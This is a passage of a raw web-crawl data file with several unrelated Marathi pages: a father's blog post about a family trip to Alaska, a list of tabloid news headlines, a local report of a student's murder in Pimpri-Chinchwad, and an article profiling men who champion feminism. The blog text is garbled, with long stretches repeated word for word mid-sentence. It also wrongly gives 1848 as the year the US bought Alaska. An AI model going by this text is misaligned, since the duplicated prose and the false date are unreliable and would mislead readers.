आया|\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00211.warc.wet.gz", "language": "mr", "language_score": 0.52, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2010/09/blog-post_26.html", "date_download": "2018-09-25T17:47:21Z", "digest": "sha1:Q5KABDQCYJVXZGMEPDTHAIYJYAMOWAMS", "length": 22544, "nlines": 93, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: अलास्का - भाग १", "raw_content": "\nअलास्का - भाग १\nमागच्या महिन्यात तु भारतातुन परत आलीस. तुझी पहिली भारतभेट तुम्ही तिघे तिथे आणि मी इथे. मला अतिशय कंटाळा आला. परंतु मला अतिशय आनंददेखील झाला की तुला भारतात जायला मिळाले. मला इथे तश्या काही टवाळक्या कमी नव्हत्या. १५ ऑगस्टचा इंडिया असोसिएशन चा \"इंडिया नाईट\" चा कार्यक्रम होता. त्याची तयारी करायची होती. यावर्षी इंडिया असोसिएशनचे काम करत असल्यामुळे प्रत्यक्ष नियोजनामध्ये भाग घ्यायचा होता. कार्यक्रम सुंदरच झाला. दरवर्षी सहसा बॉलिवुड गाण्यांचा भडिमार असतो, तो यावर्षी पहिल्यांदाच कमी करून विविध प्रकारांना वाव दिला. सर्वात मुख्य म्हणजे १५ ऑगस्ट चे महत्व कळेल अश्या पद्धतीने कार्यक्रम राबवला.आणि अहो आश्चर्यम तुम्ही तिघे तिथे आणि मी इथे. मला अतिशय कंटाळा आला. परंतु मला अतिशय आनंददेखील झाला की तुला भारतात जायला मिळाले. मला इथे तश्या काही टवाळक्या कमी नव्हत्या. १५ ऑगस्टचा इंडिया असोसिएशन चा \"इंडिया नाईट\" चा कार्यक्रम होता. त्याची तयारी करायची होती. यावर्षी इंडिया असोसिएशनचे काम करत असल्यामुळे प्रत्यक्ष नियोजनामध्ये भाग घ्यायचा होता. कार्यक्रम सुंदरच झाला. दरवर्षी सहसा बॉलिवुड गाण्यांचा भडिमार असतो, तो यावर्षी पहिल्यांदाच कमी करून विविध प्रकारांना वाव दिला. सर्वात मुख्य म्हणजे १५ ऑगस्ट चे महत्व कळेल अश्या पद्धतीने कार्यक्रम राबवला.आणि अहो आश्चर्यम दरवर्षी मध्यंतरानंतर सभागृह रिकामे व्ह्यायला लागते तसे घडले नाही. अगदी शेवटपर्यंत भरपूर गर्दी होती. लोकांना चांगली गुणवत्ता आवडते आणि कळते देखील. \"अमेरिकन प्रेसिडेंट\" नावाच्या चित्रपटात मायकेल डग्लस म्हणतो - \"People don't drink sand because they are thirsty. They drink sand because they don't know the difference.\"\nअगदी खरे आहे हे. जोपर्यंत कोणी येऊन दुसऱ्या पद्धतीने गोष्टी करुन दाखवत नाही तोपर्यंत हे असेच चालायचे. असो ... परंतु कार्यक्रम अप्रतिम झाला असे अनेक लोक येऊन म्हणाले. पुण्यात फर्ग्युसन महाविद्यालयात असताना ९१ साली आम्ही १५ ऑगस्टचा कार्यक्रम केला होता. तेव्हा काश्मिरी पंडितांची व्यथा लोकांपुढे मांडली होती. तेव्हाचे फर्ग्युसनचे मुख्याध्यापक कार्यक्रम पाहुन म्हणाले \"मी इथे ३०-४० वर्षे आहे. परंतु असा कार्यक्रम या महाविद्यालयाच्या इतिहासात पहिल्यांदाच पाहतो आहे.\" पुन्हा तेच हो की नाही जर आपल्याला काही वेगळे वाटत असेल दिसत असेल रुचत असेल तर ते लोकांना करुन दाखवायला पाहिजे. भाषणे देऊन काही होणार नाही.\nअसो .. परंतु या कार्यक्रमामध्ये मंडळाच्या एका कार्यकर्त्याने केलेली ही युट्युब क्लिप फिनिक्स १५ ऑगस्ट २०१० कार्यक्रमामधली एक चित्रफित\nतर या १५ ऑगस्टच्या कार्यक्रमामुळे मी थोडाफार व्यस्त होतो. परंतु कधीतरी मनावर घेतले की तुम्ही सर्व भारतात जाउन येत आहात तर तुम्ही परत आल्यावर आपण कुठेतरी जाऊ. तसे आता अमेरिकेत प्रमुख गोष्टी पाहुन झाल्या आहेत. यलो स्टोन नॅशनल पार्क, माऊण्ट रशमोर, फ्लोरिडा आणि अलास्का मुख्यत: राहिले आहेत (होते). सहजच पाहिले तर अलास्का जमण्यासारखे होते. म्हणुन अलास्काची तिकिटे काढली. तर सिद्धोबा भारतातुन म्हणतो आईला \"आई तु आणि सलोनी आणि बाबा अलास्का ला जा. मी इथेच राहतो आणि मग तुम्ही मला अलास्कावरुन पिक-अप करा). सहजच पाहिले तर अलास्का जमण्यासारखे होते. म्हणुन अलास्काची तिकिटे काढली. तर सिद्धोबा भारतातुन म्हणतो आईला \"आई तु आणि सलोनी आणि बाबा अलास्का ला जा. मी इथेच राहतो आणि मग तुम्ही मला अलास्कावरुन पिक-अप करा\" एकंदरीतच साहेबांना भारतात सुख भरपुर आहे हे सांगणे न लगे. अर्थातच ते शक्य नव्हते.\nतुम्ही २७ ऑगस्टला परत आलात. तुमचा जेट लॅग संपतोय न संपतोय तोच ४ सप्टेंबरला आपण अलास्कासाठी परत विमानतळावर हजर तुझी आई मला म्हणते - \"सलोनी मोठी झाल्यावर आपल्यावर चांगलीच रागावणार आहे. कोलरॅडो, हवाई आणि आता अलास्का. तिला काहीच आठवणार नाही.\" मला वाटते आठवणार नाही हे खरे आहे. परंतु You are still breathing the air whereever you go. And I am sure its makings its way into your heart and into your soul. त्यासाठीच भारतात जायचे ... त्यासाठीच इतके फिरायचे. प्रत्यक्ष डोळ्यांनी पाहिल्याशिवाय अनुभुती येत नाही. कळत नाही. मोठे झाल्यावर तुम्ही पुन्हा तिथे आणि अजुनही कुठे कुठे जाणार आहातच परंतु आत्ताच त्याची आवड निर्माण होणे आवश्यक आहे. नाहीतर आपल्याला आपलेच ते श्रेष्ठ वाटु लागते. माझी सोमवार पेठ, माझे पुणे, माझे फिनिक्स यापलिकडे ही एक जग आहे. तिथे गेल्याशिवाय कसे कळणार\nअलास्काचे विमान दुपारी निघाले तरीही तिथे पोहोचेपर्यंत ११:३० वाजले रात्रीचे. रात्रीच्या अंधारात विमान ऍंन्करेजच्या जवळ येऊ लागले तशी वैमानिकाने घोषणा केली. खिडकीतुन बाहेर पाहिले तर मिट्ट काळोख. थोड्यावेळाने एक अरुंद प्रकाशाची रेष दिसली. मग दूरवर विखुरलेले दिवे दिसु लागले. कुठल्याही प्रकारे हे अमेरिकन शहर वाटत नव्हते. सहसा कुठल्याही अमेरिकन शहरामध्ये खूपच झगमगाट असतो. अगदीच \"तारोंकी बारात\". परंतु ऍन्करेज मात्र त्यामानाने अगदी खेडे वाटावे असे\nअलास्का हा खरा तर रशियाचा प्रांत. १८४८ मध्ये अमेरिकेने तो विकत घेतला. इथला कडक उन्हाळा म्हणजे ७०-७५ फॅरेनहाईट म्हणजे जास्तित जास्त २५-२८ अंश सेल्सिअस असे तपमान त्यामानाने थंडीमध्ये अगदी ८० फूट (होय फूट त्यामानाने थंडीमध्ये अगदी ८० फूट (होय फूट) म्हणजे ९०० एक इंच बर्फ पडतो काही ठिकाणी. त्यामुळे इतका सर्व बर्फ बऱ्याचदा वितळतच नाही. त्याचीच मग ग्लेशिअर्स म्हणजे हिमनद्या तयार होतात. नद्या यासाठी की हे बर्फाचे हजारो फूटाचे थर गुरुत्वाकर्षणाने डोंगर-उतारांवरुन मुंगीच्या गतीने का होईना परंतु पुढे पुढे सरकत राहतात. आणि असे सरकत असताना ते खालची जमीन खरवडुन काढतात आणि अश्या पद्धतीने मोठमोठ्या दऱ्या तयार होतात. असो ... परंतु सांगायचा मुद्दा असा की अलास्का ला ग्लेशिअर्स पाहण्यासाठी बरेच लोक जातात. त्याव्यतिरिक्त पाहण्यासारख्या गोष्टी म्हणजे अरोरा बोरिअलिस - म्हणजेच नॉर्दर्न लाईट्स - म्हणजेच उत्त्र ध्रुवीय किरणप्रपात ) म्हणजे ९०० एक इंच बर्फ पडतो काही ठिकाणी. त्यामुळे इतका सर्व बर्फ बऱ्याचदा वितळतच नाही. त्याचीच मग ग्लेशिअर्स म्हणजे हिमनद्या तयार होतात. नद्या यासाठी की हे बर्फाचे हजारो फूटाचे थर गुरुत्वाकर्षणाने डोंगर-उतारांवरुन मुंगीच्या गतीने का होईना परंतु पुढे पुढे सरकत राहतात. आणि असे सरकत असताना ते खालची जमीन खरवडुन काढतात आणि अश्या पद्धतीने मोठमोठ्या दऱ्या तयार होतात. असो ... परंतु सांगायचा मुद्दा असा की अलास्का ला ग्लेशिअर्स पाहण्यासाठी बरेच लोक जातात. त्याव्यतिरिक्त पाहण्यासारख्या गोष्टी म्हणजे अरोरा बोरिअलिस - म्हणजेच नॉर्दर्न लाईट्स - म्हणजेच उत्त्र ध्रुवीय किरणप्रपात पृथ्वी म्हणजे एक मोठा चुंबकच आहे. त्यामुळे पृथ्वीच्या उत्तर आणि दक्षिण ध्रुवांवर वैश्विक किरण मोठ्या प्रमाणावर आकर्षीत होतात. रात्रीच्या काळोखात ६० मैल उंचावर या किरणाचे आकाशात जे काही नृत्य चालते ते अगदी अद्भूत असते. अर्थात ते पाहण्यासाठी ध्रुवाच्या जवळ जावे लागते आणि रात्रीच्या काळोखातच हा चमत्कार पहावा लागतो. याव्यतिरिक्त अलास्का मध्ये पाहण्यासारख्या गोष्टी म्हणजे इथले वन आणि समुद्री जीवन. व्हेल मासे उन्हाळ्यात अलास्कात येतात आणि अलास्काचा कडक हिवाळा सुरु होण्याच्या आत हवाई ला रवाना होतात. तसेच ग्रिझली बेअर (म्हणजे अस्वल) हा एक दुरुनच बघण्यासारखा विषय आहे पृथ्वी म्हणजे एक मोठा चुंबकच आहे. त्यामुळे पृथ्वीच्या उत्तर आणि दक्षिण ध्रुवांवर वैश्विक किरण मोठ्या प्रमाणावर आकर्षीत होतात. रात्रीच्या काळोखात ६० मैल उंचावर या किरणाचे आकाशात जे काही नृत्य चालते ते अगदी अद्भूत असते. अर्थात ते पाहण्यासाठी ध्रुवाच्या जवळ जावे लागते आणि रात्रीच्या काळोखातच हा चमत्कार पहावा लागतो. याव्यतिरिक्त अलास्का मध्ये पाहण्यासारख्या गोष्टी म्हणजे इथले वन आणि समुद्री जीवन. व्हेल मासे उन्हाळ्यात अलास्कात येतात आणि अलास्काचा कडक हिवाळा सुरु होण्याच्या आत हवाई ला रवाना होतात. तसेच ग्रिझली बेअर (म्हणजे अस्वल) हा एक दुरुनच बघण्यासारखा विषय आहे कारण हे ग्रिझली बेअर ८-१० फूट उंच आणि प्रसंगी प्राणघातक असू शकते. डेनाली नॅशनल पार्क मध्ये विशेषत: यांची संख्या प्रचंड आहे. डेनाली नॅशनल पार्क हे अलास्काचे अजून एक आकर्षण. अमेरिकेतील (आणि कदाचित) जगातील सर्वात मोठे राष्ट्रीय उद्यान (उद्यान कसले जंगलच)आहे हे. साधारणत: १०,००० चौरस मैल आकार असावा. इथेच उत्तर अमेरिकेतील सर्वात मोठा पर्वत - माऊंट डेनाली देखील आहे. साहेबाने त्याला आपले नाव लगेच देऊन टाकले - माऊंट मकिनली. परंतु अजूनही त्याला माऊंट डेनाली म्हणुनच ओळखले जाते.\nअसो ... तर असा हा अलास्का ... रशियाला काही जपणे जमत नव्हते. त्यामुळे त्यांनी तो अमेरिकेला विकला. १८४८ ते २० व्या शतकापर्यंत इथे खनिजे आणि लाकुड आणि मुख्य म्हणजे सोने मिळेल म्हणुन अमेरिकेने बरेच प्रयत्न केले. परंतु २० व्या शतकाच्या सुरुवातीला उत्तर अलास्कामध्ये खनीज तेल आणि नैसर्गीक वायु चे प्रचंड मोठे साठे मिळाले तेव्हापासुन हा भाग विकसीत व्ह्यायला सुरुवात झाली. अलास्का थोडासा विचित्र जागी आहे. मुख्य अमेरिकेच्या वर कॅनडा आणि त्याच्या पश्चिमेला थोडासा वर अलास्का अर्थात मुख्य अमेरिकेपासुन तुटलेला. १९८० पर्यंत ऑपरेटर असिस्टेड फोन होते. त्यानंतर आम जनतेला थेट फोन मिळाले. १९६० पासुन ऍन्करेज झपाट्याने विकसित झाले. मागच्या काही वर्षांमध्ये वॉल-मार्ट मुळे इथे सर्व वस्तु उपलब्ध होऊ लागल्या आहेत आणि त्याही वाजवी दरात. अलास्काच्या वास्तव्यात एक गोष्ट प्रकर्षाने जाणवली की रशियामध्ये हा प्रदेश राहिला असता तर अशी प्रगती होणे अवघड होते अर्थात मुख्य अमेरिकेपासुन तुटलेला. १९८० पर्यंत ऑपरेटर असिस्टेड फोन होते. त्यानंतर आम जनतेला थेट फोन मिळाले. १९६० पासुन ऍन्करेज झपाट्याने विकसित झाले. मागच्या काही वर्षांमध्ये वॉल-मार्ट मुळे इथे सर्व वस्तु उपलब्ध होऊ लागल्या आहेत आणि त्याही वाजवी दरात. अलास्काच्या वास्तव्यात एक गोष्ट प्रकर्षाने जाणवली की रशियामध्ये हा प्रदेश राहिला असता तर अशी प्रगती होणे अवघड होते वस्तुवाद काही अगदीच टाकाऊ नाही :-)\nअसो .... आपल्या सहलीचे वर्णन आता पुढच्या लेखात....\n अलास्का सफारीबद्दल पुढे काहीच नाही पेटंटच्या गडबडीत सलोनीचे बाबा बिझी झाले अस दिसतंय...\n पूर्वी मेडलिन अल्ब्राईट बद्दल असेच झाले. पहिला भाग लिहिला आणि पुढे काहीच नाही...\nआता इतके आठवेल की नाही कुणास ठाऊक. परंतु लिहायला पाहिजे हे खरे.\nतुम्ही जर अमेरिकेत असाल आणि अलास्काला जाण्याचा विचार करत असाल तर क्रुझ ने जाणे जास्त चांगले आम्ही विमानाने गेलो. त्यातही मजा आहे. वादच नाही.\nअलास्काला जाण्याचा विचार आहे बरोबर ओळखलंत फ़क्त आधी हवाईला क्रुझ केली होती म्हणून विचार करतोय विमानाने गेलं तर तिथली वनसंपदा जास्त चांगल्याप्रकारे पाहता येईल का आणि मुख्य घरात बाळ आहे त्यामुळे दोन मुलं घेऊन जाताना कसं झालं एकंदरित हे मला खरं तर वाचायचं होतं त्यासाठी पाहात होते...:)\nआहे बरोबर ओळखलंत फ़क्त आधी हवाईला क्रुझ केली होती म्हणून विचार करतोय विमानाने गेलं तर तिथली वनसंपदा जास्त चांगल्याप्रकारे पाहता येईल का आणि मुख्य घरात बाळ आहे त्यामुळे दोन मुलं घेऊन जाताना कसं झालं एकंदरित हे मला खरं तर वाचायचं होतं त्यासाठी पाहात होते...\n धन्यवाद. असा धक्का मिळाल्याशिवाय माझी गाडी हलली नसती.\nहवाईला आम्ही दोन्ही वेळा विमानानेच गेलो त्यामुळे क्रुझ कसे असते ते माहित नाही. परंतु आता एका मित्राची आई क्रुझने गेली आहे तिच्या अनुभवावरुन वाटले की विमान बरे असो.. परन्तु अलास्का चा लेख पूर्ण करायलाच हवा.\nअलास्का - भाग १\nन्युअर्कहून .... नावात काय आहे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00213.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://m.divyamarathi.bhaskar.com/flicker/?ref=gf", "date_download": "2018-09-25T16:42:20Z", "digest": "sha1:TJQJXSE53QLIZCXNORWQ6W6QWJE4X6I5", "length": 4390, "nlines": 38, "source_domain": "m.divyamarathi.bhaskar.com", "title": "News In Marathi On Mobile, Live Marathi News, Latest News Paper On Mobile -Divya Marathi Mobile", "raw_content": "\nचक्‍क पेट्रोल भरण्‍यासाठी पोहोचला घोडा, महिला कर्मचारीही चक्रावली, मग करावेच लागले टँक फुल\nआजी आणि आजारी वडिलांसोबत राहत होती 8 वर्षांची मुलगी, अत्‍यंत आनंदी दिसायचे कुटुंब; अचानक घरात आढळला मुलीचा मृतदेह\nमैत्रिणीच्या EX- बॉयफ्रेंडसोबत लग्न थाटणार आहे बिग बॉस कंटेस्टंट सृष्टी रोडे, भावी नव-यावर लागला आहे 4 मुलींना डेट केल्याचा आरोप\n‘राधा प्रेम रंगी रंगली’ फेम अर्चना निपाणकर आणि मोटू-पतलूने लावला मुंबईच्या स्वच्छतेत हातभार\nघरात येताच'घुसखोर'पाहून घाबरली महिला पोलिस; शूट केल्यानंतर कळाले हे घरच आपले नाही आता झाली ही कारवाई\nमुलीला वाचवण्यासाठी अज्ञात व्यक्तीसोबत भिडली ही आई, शेवटपर्यंत मानली नाही हार, VIDEOमध्ये रेकॉर्ड झाली घटना\nपाणीपुरीचा आनंद घेताना दिसली अंबानींची मुलगी, एंगेज्मेंट सेरेमनीनंतर व्हायरल होतो ईशा-आनंदचा हा Photo\nशांततेच्या नोबेलसाठी नरेंद्र मोदींचे नामांकन,'आयुष्मान भारत'चा दाखला देत तमिळनाडू भाजप अध्यक्षांनी भरला अर्ज\nअमिताभ बच्चन आणि आमिर खान स्टारर'ठग्स ऑफ हिन्दोस्तां'मधील सर्व पात्रांचे लूक आले समोर\nIPS सुसाइड केस : दास यांनी पत्नी रवीनाला शेवटच्या ईमेलमध्ये लिहिले होते, माझ्यासारखे लोक प्रेम करण्याच्या लायकीचे नाहीत..\nमध्यरात्री आला व्हॉट्सअॅप ग्रुपवर मेसेज,'मी आईचा मर्डर केलाय...', सकाळी घरात होते भीतिदायक दृश्य\nही आहे भोजपुरी सिनेमांची सनी लिओनी, चेहराच नव्हे तर फिगरसुद्धा आहे सनीसारखीच\nघरात माशाची जोडी ठेवल्याने मिळू शकते नोकरीत प्रमोशन, लव्ह लाइफसाठीही आहे खास टीप\nइतका भीषण अपघात की बाइकचे झाले दोन तुकडे, मोबाईलमध्ये टिपला Shocking Accident\nघराच्या छतावर कावळ्यासाठी का ठेवले जाते अन्न, सूर्यास्तानंतर का करू नये श्राद्ध कर्म\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00213.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%A8%E0%A4%BF%E0%A4%97%E0%A4%A1%E0%A5%80%E0%A4%A4-%E0%A4%97%E0%A4%B3%E0%A4%BE-%E0%A4%9A%E0%A4%BF%E0%A4%B0%E0%A5%82%E0%A4%A8-%E0%A4%B5%E0%A4%BF%E0%A4%A6%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%B0/", "date_download": "2018-09-25T17:58:12Z", "digest": "sha1:36TLJTFFC5BCNMMASLKQR74PKMAI45MY", "length": 5782, "nlines": 70, "source_domain": "pclive7.com", "title": "निगडीत गळा चिरून विद्यार्थ्यांचा खून | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड निगडीत गळा चिरून विद्यार्थ्यांचा खून\nनिगडीत गळा चिरून विद्यार्थ्यांचा खून\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड शहरातील निगडी पोलिस ठाण्याच्या हद्दीत पूर्णानगर येथे धारधार हत्याराने गळा चिरून विद्यार्थ्याचा खून करण्यात आला. हा प्रकार मगंळवारी पहाटे दीडच्या सुमारास घडला.\nवेदांत भोसले (२२, रा. पूर्णानगर, चिंचवड) असे खून झालेल्या तरुणाचे नाव आहे. पहाटे दिडच्या सुमारास त्याच्यावर हल्ला करण्यात आला. हल्लेखोर आणि कारण अद्याप स्पष्ट झाले नसून निगडी पोलिस शोध घेत आहेत. जखमी वेदांत याला नागरिकांनी रुग्णालयात दखल केले मात्र उपचारापूर्वीच त्याचा मृत्यू झाला. वेदांत हा निगडीतील माता अमृता शाळेत दहावीमध्ये शिकत होता.\nसांगवीच्या विकासकामांत प्रशांत शितोळेंची आडकाठी; भाजपच्या चारही नगरसेवकांचा हल्लाबोल\nपिंपरी महापालिकेतील विरोधी पक्षनेता बदलणार…(Video)\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00214.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/1aaba57ff1/some-of-the-awards-that-strivadaca-39-real-hero-39-", "date_download": "2018-09-25T17:58:42Z", "digest": "sha1:SXM2EDMLOLNYTKCB5YI4OF4CKESOF3GL", "length": 15432, "nlines": 90, "source_domain": "marathi.yourstory.com", "title": "स्त्रीवादाचा पुरस्कार करणारे काही 'रिअल हिरो'", "raw_content": "\nस्त्रीवादाचा पुरस्कार करणारे काही 'रिअल हिरो'\nजेव्हा आपण लिंग समजाविषयी बोलतो तेव्हा सर्वसामान्य भारतीय पुरुष हे स्त्रियांविषयी द्वेष बाळगणारे, आक्रमक आणि त्यांच्यावर वर्चस्व गाजवणारे आढळून येतात. ही धारणा दुर्दैवाने दुर्लक्ष करणाऱ्या लोकांमध्येदेखील आढळून येते. असे असले तरीही खालील पाच पुरुषांनी ही धारणा पूर्णपणे खोडून काढली आहे. भारतात प्रसिद्धीचे वलय असलेल्या काही लोकांपैकी निवडक लोकांची आम्ही माहिती देत आहोत. ज्यांनी त्यांच्या लोकप्रियतेचा वापर करत लाखो लोकांसमोर आदर्श ठेवला आहे.\n'देशाच्या कोणत्याही कोपऱ्यातून जेव्हा महिलांवरील अत्याचाराची बातमी ऐकायला किंवा वाचायला मिळते. तेव्हा मला प्रचंड संताप येतो आणि मी खुप निराश होतो', २०१४ साली एका मुलाखतीत फरहान अख्तर यांनी असे सांगितले होते. महिलांवरील अत्याचारांबद्दलच्या त्यांच्या या संतापाचे रुपांतर झाले ते 'मर्द' (MARD : Men Against Rape and Discrimination) या स्वयंसेवी संस्थेमध्ये. महिलांना समान वागणूक मिळावी तसेच त्यांना समाजात आदराने वागणूक मिळावी, याकरिता ही संस्था काम करते. फरहान यांच्या मुलाखतीतच त्यांची महिला अत्याचाराबद्दलची चीड दिसून आली होती.\n'मर्द' संस्थेच्या माध्यमातून स्वतः शालेय तसेच महाविद्यालयीन युवांशी जोडले जाण्याचा फरहान यांचा मानस आहे. या त्यांच्या सातत्यपूर्ण कार्य़ाची दखल संयुक्त राष्ट्रसंघांनीदेखील घेतली होती आणि संयुक्त राष्ट्रसंघाच्या दक्षिणपूर्व आशिया विभागाच्या 'संयुक्त राष्ट्रसंघ महिला सदिच्छा दूत' म्हणून २०१४ साली त्यांची निवड करण्यात आली होती.\nराहूल बोस – अभिनेता, सामाजिक कार्यकर्ता\nराहूल बोस, भारतीय चित्रपटसृष्टीतील एक प्रसिद्ध चेहरा. त्यांनी आपल्या कारकिर्दीत काहीशा वेगळ्या आणि अभिनव भूमिका साकारल्या. आपल्या अभिनयाच्या जोरावरच त्यांनी चाहत्यांची मोठी फौज तयार केली. अभिनयाकरिता त्यांनी केलेल्या चित्रपटांची निवड, उदा. चमेली (शरीरविक्रीय करणाऱ्या महिलांवर आधारीत हा चित्रपट होता) तसेच सामाजिक कार्यांमध्ये त्यांचा असलेला पुढाकार, या गोष्टींमुळे त्यांची ओळख पुरोगामी विचारसरणीचे तसेच हटवादी अशी झाली आहे. त्यांची स्वयंसेवी संस्था 'द फाउंडेशन' ही दुर्लक्षित गटांना पाठिंबा देते. याशिवाय Terres Des Homes यांच्या एका ध्वनि पुस्तकातदेखील आपले योगदान दिले आहे. गुदगुल्या करणे, मिठी मारणे, स्पर्शाचे नियम (Tickle and hugs: Learning the rules of touching) या विषयावर त्यात मार्गदर्शन करण्यात आले असून, लहान मुलांना लैंगिकशिक्षणाबद्दल जागरुक करण्यात आले आहे. याशिवाय स्त्री-पुरुष समानतेच्या विषयावर त्यांनी ऑक्सफर्ड येथे लेक्चरदेखील दिले आहे.\nयांना कोणत्याही वेगळ्या परिचयाची गरज नाही. हे लेखक स्वतःच्या हक्कांबाबत क्रांतिकारी विचारांचे आहेत आणि त्यांचे हे वागणे संतापजनक आणि क्रांतिकारी असे संबोधले जात असे. त्या वेळेस ते स्वतः पुरोगामी असे संबोधत होते. 'हो, त्याशिवाय काय असेल एकतर तुम्ही स्त्रीवादी असाल किंवा गाढव. निवड ही अखेरीस तुमची आहे. मला तीन बहिणी आहेत आणि एकही भाऊ नाही. माझ्या कुटुंबात सर्व स्त्रियाच आहेत आणि त्या सर्वजणी खंबीर, सामाजिक आणि व्यावसायिक महिला आहेत. त्यांची अडचण म्हणजे त्यांची तुलना कायम पुरुषांशी केली जाते, जी संकल्पना हास्यास्पद आहे आणि जर तुम्ही त्यांना त्याबद्दल सल्ला द्यायला गेलात तर नक्कीच फटकारले जाल. त्यामुळे मी खूप लहानवयातच हे समजून गेलो होतो', असे त्यांनी एका मुलाखतीदरम्यान सांगितले होते.\nअश्विन मुश्रण – अभिनेता, विनोदवीर आणि स्त्रीवादी\nएक असे अभिनेते जे कायम त्यांच्या विनोदी भूमिकांकरिता नावाजले जातात मात्र यावेळेस ते स्त्रीवादावरील त्यांच्या भूमिकेमुळे नावाजले गेले आहेत. स्त्रीवादावर आपली भूमिका सखोलपणे मांडताना ते सांगतात की, 'माझ्याकरिता स्त्रीवाद म्हणजे स्त्रियांच्या हक्काकरिता आणि स्त्री-पुरुष समानतेकरिता उभे राहणे. तेही फक्त भारतातच नव्हे तर जगभरात कोठेही. मी स्त्री आणि पुरुषांमध्ये भेदभाव करत नाही. तुम्ही स्वभावाने कसे व्यक्ती आहात, याचा मला फरक पडतो. आणि जर या भूमिकांमुळे मला स्त्रीवादी म्हटले जात असेल तर माझ्या मते, हो मी स्त्रीवादी आहे. या विषयाबद्दलच्या 'भारतीय संस्कृती'तील सर्व कल्पना मला त्रासदायक वाटतात. हे एक वक्तव्य आहे जे देशभरातील स्त्रियांवर अंकूश ठेवण्यासाठी तसेच छळण्यासाठी वापरण्यात येते आणि लाखो स्त्रियांना सबलीकरणापासून दूर ठेवण्याकरिता हा एक सोयीस्कर मार्ग ठरतो.' ऐकलं\nभारतीय क्रिकेटपटू विराट कोहली, रवी शास्त्री, सुरेश रैना आणि अंबाती रायडू\nमैदानावर क्षेत्ररक्षण करणारे भारतीय खेळाडू विराट कोहली, रवी शास्त्री, सुरेश रैना आणि अंबाती रायुडू हे समाजातील महिलांच्या रक्षणासाठी पुढे सरसावले आहेत. नुकतीच त्यांनी 'रिस्पेक्ट टू प्रोटेक्ट' ही मोहिम राबवली असून, त्याद्वारे त्यांनी महिलांना संरक्षण देण्याकरिता आणि आदराने वागवण्याकरिता समाजाला आवाहन केले आहे. हैद्राबादस्थित महिलांच्या हक्काकरिता कार्यरत असलेली एक स्वयंसेवी संस्था माय चॉईस यांनी या चित्रफितीकरिता पुढाकार घेतला आहे.\nया चित्रफितीत महिलांचे रक्षण कसे करावे, तात्पुरता उपाय करण्यापेक्षा या अडचणीचा मुळापासून नायनाट कसा करावा, याकरिता खेळांडूंच्या दृष्टीकोनातून सांगण्यात आले होते. समान संधी तसेच पेहराव, नोकरीबद्दलचे स्वातंत्र्य यांपासून ते महिलांना आर्थिक, सामाजिक तसेच शारिरीक बाबतीत आदराने वागणूक देणे, याबाबत सांगण्यात आले होते. तसेच या मोहिमेत महिला हक्क आणि स्त्री-पुरुष समानता यांना पाठिंबा देणाऱ्या संघटनादेखील अधोरेखित करण्यात आल्या होत्या. त्यांच्या या प्रयत्नांच्या यशाची पावती म्हणजे अर्ध्याहून अधिक लोकसंख्येने स्त्रियांवरील अत्याचार हे वाईट कृत्य असल्याचे कबूल केले होते. त्यामुळे स्त्री-चळवळीतील प्रगतीचे हे सकारात्मक सूचक आहे.\nलेखक – बिंजल शहा\nअनुवाद – रंजिता परब\nया तरुणी जागरूकता निर्माण करण्यासाठी गरीब महिलांना मोफत सॅनिटरी नॅपकिन्सचे वाटप करतात \nचेह-यात काही नसते, जयप्रकाशने अनेक अडचणी असूनही त्याच्या लहानपणीच्या मैत्रिणीशीच केले लग्न\nबंगळुरूच्या या दंतचिकित्सकाने भारताच्या वतीने ‘मिस व्हिलचेअर वर्ल्ड २०१७’ साठी नामांकन दाखल केले आहे\n. . . . . आणि एक अभागी 'वसईकर' पासवाला\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00214.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://upscfever.com/upsc-fever/en/current/yj/en-yj-home.html", "date_download": "2018-09-25T17:09:11Z", "digest": "sha1:S6JLG5F4Q4QPD47B5PQ2WDFZIV36J6T5", "length": 9705, "nlines": 50, "source_domain": "upscfever.com", "title": "संधी रोजगाराची 